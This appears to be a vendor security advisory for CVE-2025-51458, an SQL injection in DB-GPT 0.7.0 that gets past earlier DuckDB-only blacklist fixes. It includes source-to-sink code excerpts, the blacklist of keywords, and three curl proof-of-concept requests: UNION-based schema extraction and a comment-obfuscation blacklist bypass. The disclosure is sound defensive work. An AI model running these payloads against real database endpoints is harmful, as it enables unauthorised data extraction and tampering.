Back to Research
CVSS 6.5mediumCVE-2025-51458

CVE-2025-51458: DB-GPT SQLI via CVE Bypass (CVE-2024-10835 & CVE-2024-10901)

SQL injection vulnerability in DB-GPT 0.7.0 despite fixes for prior CVEs, affecting multiple database endpoints.

Gecko Security Research
Gecko Security Team
1/15/2025

Description

An SQL injection was found in DB-GPT 0.7.0 despite fixes for prior CVEs (CVE-2024-10835 and CVE-2024-10901). Both /v1/editor/sql/run and /v1/editor/chart/run endpoints remain vulnerable to SQL injection. The previous patches implemented blacklist-based protections for DuckDB connections, but missed the path allowing direct execution of user-provided SQL without proper parameterization.

The prior incomplete fix:

  • Added security controls exclusively for DuckDB connections.
  • Used a blacklist approach that can be bypassed with SQL obfuscation.
  • Left all other database types (MySQL, PostgreSQL, etc.) completely vulnerable.
  • Failed to implement proper parameterized queries via SQLAlchemy.

Source - Sink Analysis

(@RT optional if you want to add code, can just keep the text but remove code)

  1. Source: editor_sql_run() in /packages/dbgpt-app/src/dbgpt_app/openapi/api_v1/editor/api_editor_v1.py
  • Receives raw SQL input via HTTP POST:
    @router.post("/v1/editor/sql/run", response_model=Result[SqlRunData])
    async def editor_sql_run(run_param: dict = Body()):
        # ...
        sql = run_param["sql"]
    
  1. Intermediate: DuckDB-only blacklist filtering in editor_sql_run()
  • Attempts to filter dangerous operations but only for DuckDB:
    if db_type == "duckdb":
        dangerous_keywords = [
            # ...
            "copy", "export", "import", "load", "install", 
            # ...
        ]
        sql_lower = sql.lower().replace(" ", "")  
        if any(keyword in sql_lower for keyword in dangerous_keywords):
    
  1. Intermediate: conn.query_ex() call in editor_sql_run()
  • Passes raw SQL directly to database connector:
    colunms, sql_result = conn.query_ex(sql, timeout=30)
    
  1. Sink: query_ex() in /packages/dbgpt-core/src/dbgpt/datasource/rdbms/base.py
  • Executes raw SQL directly without parameterization:
    def query_ex(self, query: str, fetch: str = "all", timeout: Optional[float] = None):
        # ...
        with self.session_scope() as session:
            sql = text(query)  
            cursor = session.execute(sql) 
    

Proof of Concept

For any non-DuckDB database (completely unprotected):

curl -X POST "http://localhost:5670/api/v1/editor/sql/run" \
  -H "Content-Type: application/json" \
  -d '{
    "db_name": "mysql_database",
    "sql": "SELECT 1 as test UNION ALL SELECT table_name FROM information_schema.tables--"
  }'

For the chart endpoint:

curl -X POST "http://localhost:5670/api/v1/editor/chart/run" \
  -H "Content-Type: application/json" \
  -d '{
    "db_name": "postgres_database",
    "chart_type": "bar",
    "sql": "SELECT 1 as label, 2 as value UNION ALL SELECT table_name, 1 FROM information_schema.tables--"
  }'

For DuckDB (bypassing the blacklist protection):

curl -X POST "http://localhost:5670/api/v1/editor/sql/run" \
  -H "Content-Type: application/json" \
  -d '{
    "db_name": "duck_db",
    "sql": "SELECT * FROM (SEL/**/ECT CURRENT_SETTING(\"access_mode\") as a, 1 as b);"
  }'

Impact

Despite the fixes implemented for CVE-2024-10835 and CVE-2024-10901, attackers can still:

  • Execute arbitrary SQL commands on any connected database.
  • Extract sensitive information from all database types.
  • Modify or delete database contents.

Fix

  • https://github.com/eosphoros-ai/DB-GPT/pull/2650